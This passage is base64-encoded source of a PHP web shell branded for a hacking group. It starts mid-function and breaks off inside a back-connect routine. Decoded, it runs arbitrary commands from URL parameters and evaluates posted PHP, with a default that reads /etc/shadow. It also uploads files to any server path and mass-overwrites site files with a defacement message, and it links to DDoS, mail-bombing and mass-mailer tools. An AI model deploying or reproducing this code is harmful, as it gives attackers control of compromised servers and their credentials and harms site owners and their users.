ICAgICB7IAogICAgICAgICAgICAgICAgICAgICRvdXRwdXQgLj0gZnJlYWQoJGhhbmRsZSwgNTEyKTsgCiAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICB9IAogICAgICAgICAgICBlbHNlIGlmKGZ1bmN0aW9uX2V4aXN0cygnZmdldHMnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICB3aGlsZSghZmVvZigkaGFuZGxlKSkgCiAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICRvdXRwdXQgLj0gZmdldHMoJGhhbmRsZSw1MTIpOyAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgIH0gCiAgICAgICAgfSAKICAgICAgICBwY2xvc2UoJGhhbmRsZSk7IAogICAgfSAKICAgICAKICAgICAKICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgCiAgICB7IAogICAgICAgIG9iX3N0YXJ0KCk7IC8vc3RhcnQgb3V0cHV0IGJ1ZmZlcmluZyAKICAgICAgICBzeXN0ZW0oJGNvbW1hbmQpOyAKICAgICAgICAkb3V0cHV0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7ICAgIC8vIEdldCB0aGUgb3VwdXQgIAogICAgICAgIG9iX2VuZF9jbGVhbigpOyAgICAgICAgICAgICAgICAgLy8gU3RvcCBvdXRwdXQgYnVmZmVyaW5nIAogICAgfSAKICAgICAKICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSAKICAgIHsgCiAgICAgICAgb2Jfc3RhcnQoKTsgLy9zdGFydCBvdXRwdXQgYnVmZmVyaW5nIAogICAgICAgIHBhc3N0aHJ1KCRjb21tYW5kKTsgCiAgICAgICAgJG91dHB1dCA9IG9iX2dldF9jb250ZW50cygpOyAgICAvLyBHZXQgdGhlIG91cHV0ICAKICAgICAgICBvYl9lbmRfY2xlYW4oKTsgICAgICAgICAgICAgICAgIC8vIFN0b3Agb3V0cHV0IGJ1ZmZlcmluZyAgICAgICAgICAgICAKICAgIH0gCiAgICAgCiAgICBlbHNlIGlmKGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpIAogICAgeyAKICAgICAgICAkZGVzY3JpcHRvcnNwZWMgPSBhcnJheSggCiAgICAgICAgICAgICAgICAxID0+IGFycmF5KCJwaXBlIiwgInciKSwgIC8vIHN0ZG91dCBpcyBhIHBpcGUgdGhhdCB0aGUgY2hpbGQgd2lsbCB3cml0ZSB0byAKICAgICAgICAgICAgICAgICk7IAogICAgICAgICRoYW5kbGUgPSBwcm9jX29wZW4oJGNvbW1hbmQgLCRkZXNjcmlwdG9yc3BlYyAsICRwaXBlcyk7IC8vIFRoaXMgd2lsbCByZXR1cm4gdGhlIG91dHB1dCB0byBhbiBhcnJheSAncGlwZXMnIAogICAgICAgIGlmKGlzX3Jlc291cmNlKCRoYW5kbGUpKSAKICAgICAgICB7IAogICAgICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2ZyZWFkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpIAogICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgd2hpbGUoIWZlb2YoJHBpcGVzWzFdKSkgCiAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICRvdXRwdXQgLj0gZnJlYWQoJHBpcGVzWzFdLCA1MTIpOyAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgIH0gCiAgICAgICAgICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdmZ2V0cycpICYmIGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKSAKICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgIHdoaWxlKCFmZW9mKCRwaXBlc1sxXSkpIAogICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAkb3V0cHV0IC49IGZnZXRzKCRwaXBlc1sxXSw1MTIpOyAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgIH0gCiAgICAgICAgfSAKICAgICAgICBwY2xvc2UoJGhhbmRsZSk7IAogICAgfSAKICAgIGVsc2UgCiAgICB7IAogICAgICAgICRvdXRwdXQgPSAiVGhleSBoYXZlIHRoZWlyIFNlY3VyaXR5IHRoZXJlISA6KCAiOyAKICAgIH0gCiAgICAgCiAgICByZXR1cm4oaHRtbHNwZWNpYWxjaGFycygkb3V0cHV0KSk7IAogICAgIAp9IApmdW5jdGlvbiBtYWdpY1F1b3RlKCR0ZXh0KSAKeyAKICAgIGlmICghZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgCiAgICB7IAogICAgICAgIHJldHVybiAkdGV4dDsgCiAgICB9IAogICAgcmV0dXJuIHN0cmlwc2xhc2hlcygkdGV4dCk7IAp9IAovLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAKCgo/PiAKCjx0YWJsZSBjbGFzcz0idG9wIj4gCiAgICA8dGJvZHk+IAogICAgICAgIDx0cj4gCiAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImxvZ28iPiAKICAgICAgICAgICAgICAgIDxoMT48bGluayBocmVmPSdodHRwOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1JY2VsYW5kJyByZWw9J3N0eWxlc2hlZXQnIHR5cGU9J3RleHQvY3NzJz4KPHN0eWxlPmJvZHl7Y3Vyc29yOnVybCgiLi4vd3d3Lm1hZGxlZXRzLmNvbS9lbGhhY2tlci5jdXIiKSxhdXRvO31odG1se2Rpc3BsYXk6dGFibGU7aGVpZ2h0OjEwMCU7d2lkdGg6MTAwJTt9Ym9keXtkaXNwbGF5OnRhYmxlLXJvdzt9Ym9keXtkaXNwbGF5OnRhYmxlLWNlbGw7dmVydGljYWwtYWxpZ246bWlkZGxlO3RleHQtYWxpZ246Y2VudGVyO31hOmxpbmt7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fTwvc3R5bGU+CjxjZW50ZXI+PGltZyBzcmM9Imh0dHA6Ly93d3cubWFkbGVldHMuY29tL2xvZ28ucG5nIiBhbHQ9ImxvZ28iPgo8L2NlbnRlcj4KPGZvbnQgZmFjZT0iSWNlbGFuZCIgc3R5bGU9ImNvbG9yOmxpbWU7dGV4dC1zaGFkb3c6MHB4IDFweCA1cHggIzAwMDtmb250LXNpemU6MzBweCI+PC9oMT48YmxvY2txdW90ZSBjbGFzcz0ic21hbGwiPlNoZWxsPC9ibG9ja3F1b3RlPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgPC9kaXY+IAogICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGVyIj4gCiAgICAgICAgICAgIDw/cGhwIGdldFNvZnR3YXJlSW5mbygpOyA/PjxiciAvPiAKWW91ciBJUCA6IDw/cGhwIGdldENsaWVudElwKCk7ID8+IDxmb250IGNvbG9yPSJzaWx2ZXIiID58PC9mb250PiBTZXJ2ZXIgSVAgOiA8P3BocCBnZXRTZXJ2ZXJJcCgpOz8+IDxiciAvPiAKICAgICAgICAgICAgU2FmZSBNb2RlIDogPD9waHAgZ2V0U2FmZU1vZGUoKTsgPz48YnIgLz4gCiAgICAgICAgICAgIDw/cGhwIGlmKCRvcyA9PSAnV2luZG93cycpeyBlY2hvIHNob3dEcml2ZXMoKTt9ID8+IDw/cGhwIGVjaG8gZ2V0Y3dkKCk7Pz4gCiAgICAgICAgICAgIDwvZGl2PiAKICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgPC90cj4gCiAgICA8L3Rib2R5PiAKPC90YWJsZT4gCjxkaXYgY2xhc3M9ImhlYWRlciIgaWQ9ImJvcmRlcnMiPiAKICAgICAgICAgICAgU2VydmVyIEFETUlOOiA8P3BocCBlY2hvICRfU0VSVkVSWydTRVJWRVJfQURNSU4nXTs/PiA8Zm9udCBjb2xvcj0ic2lsdmVyIiA+fDwvZm9udD4gCiAgICAgICAgICAgIFBIUCBWRVJTSU9OIDogPD9waHAgZWNobyAkcGhwVmVyc2lvbjsgPz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IAogICAgICAgICAgICBDdXJsIDogPD9waHAgZWNobyBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpPygiPGZvbnQgY29sb3I9J3JlZCc+RW5hYmxlZDwvZm9udD4iKTooIkRpc2FibGVkIik7ID8+IDxmb250IGNvbG9yPSJzaWx2ZXIiID58PC9mb250PiAKICAgICAgICAgICAgT3JhY2xlIDogPD9waHAgZWNobyBmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJyk/KCI8Zm9udCBjb2xvcj0ncmVkJz5FbmFibGVkPC9mb250PiIpOigiRGlzYWJsZWQiKTsgPz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IAogICAgICAgICAgICBNeVNRTCA6IDw/cGhwICBlY2hvIGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpPygiPGZvbnQgY29sb3I9J3JlZCc+RW5hYmxlZDwvZm9udD4iKTooIkRpc2FibGVkIik7Pz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IAogICAgICAgICAgICBNU1NRTCA6IDw/cGhwIGVjaG8gZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk/KCI8Zm9udCBjb2xvcj0ncmVkJz5FbmFibGVkPC9mb250PiIpOigiRGlzYWJsZWQiKTsgPz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IAogICAgICAgICAgICBQb3N0Z3JlU1FMIDogPD9waHAgZWNobyBmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKT8oIjxmb250IGNvbG9yPSdyZWQnPkVuYWJsZWQ8L2ZvbnQ+Iik6KCJEaXNhYmxlZCIpOyA/PiA8Zm9udCBjb2xvcj0ic2lsdmVyIiA+fDwvZm9udD4gCiAgICAgICAgICAgIERpc2FibGUgZnVuY3Rpb25zIDogPD9waHAgZ2V0RGlzYWJsZWRGdW5jdGlvbnMoKTsgPz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IAogICAgICAgICAgICBTcGFjZSA6IDw/cGhwIGRpc2tTcGFjZSgpOyA/PiA8Zm9udCBjb2xvcj0ic2lsdmVyIiA+fDwvZm9udD4gCiAgICAgICAgICAgIEZyZWUgOiA8P3BocCBmcmVlU3BhY2UoKTsgPz4gCiAgICAgICAgPC90YWJsZT4gCjwvZGl2PiAKPGRpdiBjbGFzcz0ibmF2Ij4gCjx1bD4gCiAgICA8bGk+PGEgaHJlZj0iPD9waHAgZWNobyAkc2VsZjs/PiI+SG9tZTwvYT48L2xpPiAKICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/dXBsb2FkJzs/PiI+VXBsb2FkPC9hPjwvbGk+IAogICAgPGxpPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGYuJz9zaGVsbCc7Pz4iPlNoZWxsPC9hPjwvbGk+IAogICAgPGxpPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGYuJz9kb3MnOz8+Ij5ERG9TPC9hPjwvbGk+IAogICAgPGxpPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGYuJz9mdXp6Jzs/PiI+V2ViLVNlcnZlciBGdXp6ZXI8L2E+PC9saT4gCiAgICA8bGk+PGEgaHJlZj0iPD9waHAgZWNobyAkc2VsZi4nP21haWwnPz4iPk1hc3MgTWFpbGVyPC9hPjwvbGk+IAogICAgPGxpPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGYuJz9ib21iJz8+Ij5NYWlsIEJvbWJlcjwvYT48L2xpPiAKICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/Y29ubmVjdCc/PiI+Q29ubmVjdDwvYT48L2xpPiAKICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/aW5qZWN0b3InPz4iPk1hc3MgQ29kZSBJbmplY3RvcjwvYT48L2xpPiAKICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/ZGVjb2RlJz8+Ij5QSFAgRGVjb2RlcjwvYT48L2xpPiAKICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/ZXZhbCc/PiI+UEhQIEV2YWx1YXRlPC9hPjwvbGk+IAoKICAgIDw/cGhwIGlmKCRsb2NrID09ICdvbicpIAogICAgeyAKICAgID8+IAogICAgICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/bG9nb3V0Jz8+Ij5JIG0gT3V0ITwvYT48L2xpPiAKICAgIDw/cGhwIAogICAgfSAKICAgID8+IAo8L3VsPiAKPC9kaXY+IAoKPD9waHAgCi8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gQ2hlY2sgd2hhdCBoZSB3YW50cyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIAoKLy8gU2hlbGwgCgppZihpc3NldCgkX0dFVFsnc2hlbGwnXSkpIAp7IAogICAgaWYoIWlzc2V0KCRfR0VUWydjbWQnXSkgfHwgJF9HRVRbJ2NtZCddID09ICcnKSAKICAgIHsgCiAgICAgICAgJHJlc3VsdCA9ICIiOyAgICAgCiAgICB9IAogICAgZWxzZSAKICAgIHsgCiAgICAgICAgJHJlc3VsdD1leGVjX2FsbCgkX0dFVFsnY21kJ10pOyAKICAgIH0gCiAgICA/PiAKICAgIDx0ZXh0YXJlYSBjbGFzcz0iY21kIiBjb2xzPSIxMDAiIHJvd3M9IjIwIj48P3BocCBlY2hvICRyZXN1bHQ7Pz48L3RleHRhcmVhPjxiciAvPjxiciAvPiAKICAgIDxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc2VsZjs/PiIgbWV0aG9kPSJHRVQiPiAKICAgIDwhLS0gRm9yIFNoZWxsIC0tPiAKICAgIDxpbnB1dCBuYW1lPSJzaGVsbCIgdHlwZT0iaGlkZGVuIiAvPiAKICAgIDwhLS0gRm9yIENNRCAtLT4gCiAgICA8aW5wdXQgbmFtZT0iY21kIiBjbGFzcz0iY21kIiAvPiAKICAgIDxpbnB1dCBuYW1lPSJzdWJtaXQiIHZhbHVlPSJTcGluIFRoYXQgU2hpdCEiIGNsYXNzPSJvd24iIHR5cGU9InN1Ym1pdCIgLz4gCiAgICA8L2Zvcm0+IAogICAgPD9waHAgCn0gCgoKLy8gUEhQIGV2YWx1YXRlIAoKZWxzZSBpZihpc3NldCgkX0dFVFsnZXZhbCddKSkgCnsgCiAgICA/PiAKICAgIDxmb3JtIG1ldGhvZD0iUE9TVCI+IAogICAgPHRleHRhcmVhIG5hbWU9ImNvZGUiIGNsYXNzPSJjbWQiIGNvbHM9IjEwMCIgcm93cz0iMjAiPjw/cGhwIAogICAgLy8gSWYgdGhlIGNvbWFuZCB3YXMgc2VudCAKICAgIGlmKGlzc2V0KCRfUE9TVFsnY29kZSddKSAKICAgICAgICAmJiAkX1BPU1RbJ2NvZGUnXSAKICAgICkgCiAgICB7IAogICAgICAgIC8vIEZJbHRlciBTb21lIENoYXJzIHdlIGRvbnQgbmVlZCAKCiAgICAgICAgJGNvZGUgPSBzdHJfcmVwbGFjZSgiPD9waHAiLCIiLCRfUE9TVFsnY29kZSddKTsgCiAgICAgICAgJGNvZGUgPSBzdHJfcmVwbGFjZSgiPD8iLCIiLCRjb2RlKTsgCiAgICAgICAgJGNvZGUgPSBzdHJfcmVwbGFjZSgiPz4iLCIiLCRjb2RlKTsgCgogICAgICAgIC8vIEV2YWx1YXRlIFBIUCBDb0RFISAKCiAgICAgICAgaHRtbHNwZWNpYWxjaGFycyhldmFsKCRjb2RlKSk7IAogICAgfSAKICAgIGVsc2UgCiAgICB7IAogICAgICAgID8+ZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9zaGFkb3cnKTs8P3BocCAKICAgIH0gCiAgICA/PjwvdGV4dGFyZWE+PGJyIC8+PGJyIC8+IAogICAgPGlucHV0IG5hbWU9InN1Ym1pdCIgdmFsdWU9IkV2YWwgVGhhdCBDT2RlISA6RCIgY2xhc3M9Im93biIgdHlwZT0ic3VibWl0IiAvPiAKICAgIDwvZm9ybT4gCiAgICA8P3BocCAKICAgICAKfSAKCi8vIFVwbG9hZCAKCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgCnsgCgogICAgaWYgKGlzc2V0KCRfUE9TVFsnZmlsZSddKSAmJiAKICAgICAgICBpc3NldCgkX1BPU1RbJ3BhdGgnXSkgIAogICAgICkgCiAgICB7IAogICAgICAgICRwYXRoID0gJF9QT1NUWydwYXRoJ107IAogICAgICAgICAgICAgCiAgICAgICAgaWYoJHBhdGhbKHN0cmxlbigkcGF0aCktMSldICE9ICRTRVBBUkFUT1IpeyRwYXRoID0gJHBhdGguJFNFUEFSQVRPUjt9IAogICAgICAgICAKICAgICAgICBpZihpc19kaXIoJHBhdGgpKSAKICAgICAgICB7IAogICAgICAgICAgICAkdXBsb2FkZWRGaWxlUGF0aCA9ICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddOyAKICAgICAgICAgICAgJHRlbXBOYW1lID0gJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddOyAKICAgICAgICAgICAgJHVwbG9hZFBhdGggPSAkcGF0aCAuICAkdXBsb2FkZWRGaWxlUGF0aDsgCiAgICAgICAgICAgICRzdGF0ID0gbW92ZV91cGxvYWRlZF9maWxlKCR0ZW1wTmFtZSAsICR1cGxvYWRlZEZpbGVQYXRoKTsgCiAgICAgICAgICAgIGlmICgkc3RhdCkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICBlY2hvICI8cCBjbGFzcz0nd2FybmluZyc+RmlsZSB1cGxvYWRlZCB0byAkdXBsb2FkUGF0aDwvcD4iOyAKICAgICAgICAgICAgfSAKICAgICAgICAgICAgZWxzZSAKICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgIGVjaG8gIjxwIGNsYXNzPSd3YXJuaW5nJyA+IDooIDonKCBGYWlsZWQgdG8gdXBsb2FkIGZpbGUgdG8gJHVwbG9hZFBhdGg8L3A+IjsgCiAgICAgICAgICAgIH0gCiAgICAgICAgIH0gCiAgICB9IAogICAgZWxzZSAKICAgIHsgCiAgICA/PiAKICAgIDx0YWJsZSBjbGFzcz0iYmluZCIgYWxpZ249ImNlbnRlciIgPiAKICAgIDx0cj4gCiAgICAgICAgPHRoIGNsYXNzPSJoZWFkZXIiIGNvbHNwYW49IjEiIHdpZHRoPSI1MHB4Ij5VcGxvYWQgKEZyb20gdXIgQ29tcHV0ZXIpPC90aD4gCiAgICA8L3RyPiAKICAgIDx0cj4gCiAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgIDx0YWJsZSBzdHlsZT0iYm9yZGVyLXNwYWNpbmc6IDZweDsiPiAKICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+IAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEwMCI+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiLz48L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iZmlsZSIgY2xhc3M9Im93biIgdmFsdWU9IlVwbG9hZCIvPjwvdGQ+IAogICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0nY21kJyBzdHlsZT0id2lkdGg6IDI4MHB4OyIgbmFtZT0ncGF0aCcgdmFsdWU9Ijw/cGhwIGVjaG8gZ2V0Y3dkKCk7ID8+IiAvPiAgICAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPC9mb3JtPiAKICAgICAgICAgICAgPC90YWJsZT4gCiAgICAgICAgIDwvdGQ+IAogICAgPC90cj4gCiAgICA8L3RhYmxlPiAKPD9waHAgCiAgICB9IAoKfSAKCi8vIENvZGUgSW5qZWN0b3IgCgplbHNlIGlmKGlzc2V0KCRfR0VUWydpbmplY3RvciddKSkgCnsgCiAgICBpZihpc3NldCgkX0dFVFsnZGlyJ10pICYmIAogICAgJF9HRVRbJ2RpciddICE9ICcnICYmIAogICAgaXNzZXQoJF9HRVRbJ2ZpbGV0eXBlJ10pICYmIAogICAgJF9HRVRbJ2ZpbGV0eXBlJ10gIT0gJycgJiYgCiAgICBpc3NldCgkX0dFVFsnbW9kZSddKSAmJiAKICAgICRfR0VUWydtb2RlJ10gIT0gJycgJiYgIAogICAgaXNzZXQoJF9HRVRbJ21lc3NhZ2UnXSkgJiYgCiAgICAkX0dFVFsnbWVzc2FnZSddICE9ICcnICAKICAgICkgCiAgICB7IAogICAgICAgICRkaXIgPSAkX0dFVFsnZGlyJ107IAogICAgICAgICRmaWxldHlwZSA9ICRfR0VUWydmaWxldHlwZSddOyAKICAgICAgICAkbWVzc2FnZSA9ICRfR0VUWydtZXNzYWdlJ107IAogICAgICAgICAKICAgICAgICAkbW9kZSA9ICJhIjsgLy9kZWZhdWx0IG1vZGUgCiAgICAgICAgIAogICAgICAgICAKICAgICAgICAvLyBNb2RlcyBCZWdpbiAKICAgICAgICAgCiAgICAgICAgaWYoJF9HRVRbJ21vZGUnXSA9PSAnQXBlbmRlcicpIAogICAgICAgIHsgCiAgICAgICAgICAgICRtb2RlID0gImEiOyAKICAgICAgICB9IAogICAgICAgIGlmKCRfR0VUWydtb2RlJ10gPT0gJ092ZXJ3cml0ZXInKSAKICAgICAgICB7IAogICAgICAgICAgICAkbW9kZSA9ICJ3IjsgCiAgICAgICAgfSAKICAgICAgICAgCiAgICAgICAgaWYoJGhhbmRsZSA9IG9wZW5kaXIoJGRpcikpIAogICAgICAgIHsgCiAgICAgICAgICAgID8+IAogICAgICAgICAgICBPdmVyd3JpdHRlbiBGaWxlcyA6LSAKICAgICAgICAgICAgPHVsIHN0eWxlPSJwYWRkaW5nOiAxMHB4OyIgPiAKICAgICAgICAgICAgPD9waHAgCiAgICAgICAgICAgIHdoaWxlKCgkZmlsZSA9IHJlYWRkaXIoJGhhbmRsZSkpICE9PSBGYWxzZSkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICBpZigocHJlZ19tYXRjaCgiLyRmaWxldHlwZSIuJyQnLicvJywgJGZpbGUgLCAkbWF0Y2hlcykgIT0gMCkgJiYgKHByZWdfbWF0Y2goJy8nLiRmaWxlLickLycsICRzZWxmICwgJG1hdGNoZXMpICE9IDEpKSAKICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgPz4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0iZmlsZSI+PGEgaHJlZj0iPD9waHAgZWNobyAiJHNlbGY/b3Blbj0kZGlyJGZpbGUiPz4iPjw/cGhwIGVjaG8gJGZpbGU7ID8+PC9hPjwvbGk+IAogICAgICAgICAgICAgICAgICAgIDw/cGhwIAogICAgICAgICAgICAgICAgICAgIGVjaG8gIlxuIjsgCiAgICAgICAgICAgICAgICAgICAgJGZkID0gZm9wZW4oJGRpci4kZmlsZSwkbW9kZSk7IAogICAgICAgICAgICAgICAgICAgIGZ3cml0ZSgkZmQsJG1lc3NhZ2UpOyAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgIH0gCiAgICAgICAgICAgID8+IAogICAgICAgICAgICA8L3VsPiAKICAgICAgICAgICAgPD9waHAgCiAgICAgICAgfSAKICAgIH0gCiAgICBlbHNlIAogICAgeyAKICAgICAgICA/PiAKICAgICAgICA8dGFibGUgaWQ9Im1hcmdpbnMiID4gCiAgICAgICAgPHRyPiAKICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSdHRVQnPiAKICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaW5qZWN0b3IiLz4gICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMDAiIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBEaXJlY3RvcnkgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iY21kIiBuYW1lPSJkaXIiIHZhbHVlPSI8P3BocCBlY2hvIGdldGN3ZCgpLiRTRVBBUkFUT1I7ID8+IiAvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICBNb2RlIAogICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IHN0eWxlPSJ3aWR0aDogNDAwcHg7IiBuYW1lPSJtb2RlIiBjbGFzcz0iY21kIj4gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJBcGVuZGVyIj5BcGVuZGVyPC9vcHRpb24+IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iT3ZlcndyaXRlciI+T3ZlcndyaXRlcjwvb3B0aW9uPiAKICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+IAogICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBGaWxlIFR5cGUgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJjbWQiIG5hbWU9ImZpbGV0eXBlIiB2YWx1ZT0iLnBocCIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPScucGhwJzsiIC8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJtZXNzYWdlIiBjb2xzPSIxNzMiIHJvd3M9IjEwIiBjbGFzcz0iY21kIj5BbGwgaSByZW1lbWJlciBhcmUgdGhvc2UgbG9uZWx5IG5pZ2h0cyB3aGVuIGkgd2FzIGRlZmFjaW5nIHRob3NlIGluc2VjdXJlIHdlYnNpdGVzITwvdGV4dGFyZWE+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCByb3dzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0ibWFyZ2luIDogMjBweDsgbWFyZ2luLWxlZnQ6IDM5MHB4OyBwYWRkaW5nIDogMTBweDsgd2lkdGg6IDEwMHB4OyIgdHlwZT0ic3VibWl0IiBjbGFzcz0ib3duIiB2YWx1ZT0iSW5qZWN0IDpEIi8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgPC9mb3JtPiAKICAgICAgICA8L3RhYmxlPiAKICAgICAgICA8P3BocCAKICAgIH0gCn0gCi8vIENvbm5lY3QgCgplbHNlIGlmKGlzc2V0KCRfR0VUWydjb25uZWN0J10pKSAKeyAKICAgIGlmKGlzc2V0KCRfUE9TVFsnaXAnXSkgJiYgCiAgICAgaXNzZXQoJF9QT1NUWydwb3J0J10pICYmICAKICAgICAgICAkX1BPU1RbJ2lwJ10gIT0gIiIgJiYgCiAgICAgICAgJF9QT1NUWydwb3J0J10gIT0gIiIgCiAgICAgKSAKICAgIHsgCiAgICAgICAgZWNobyAiPHA+VGhlIFByb2dyYW0gaXMgbm93IHRyeWluZyB0byBjb25uZWN0ITwvcD4iOyAKICAgICAgICAkaXAgPSAkX1BPU1RbJ2l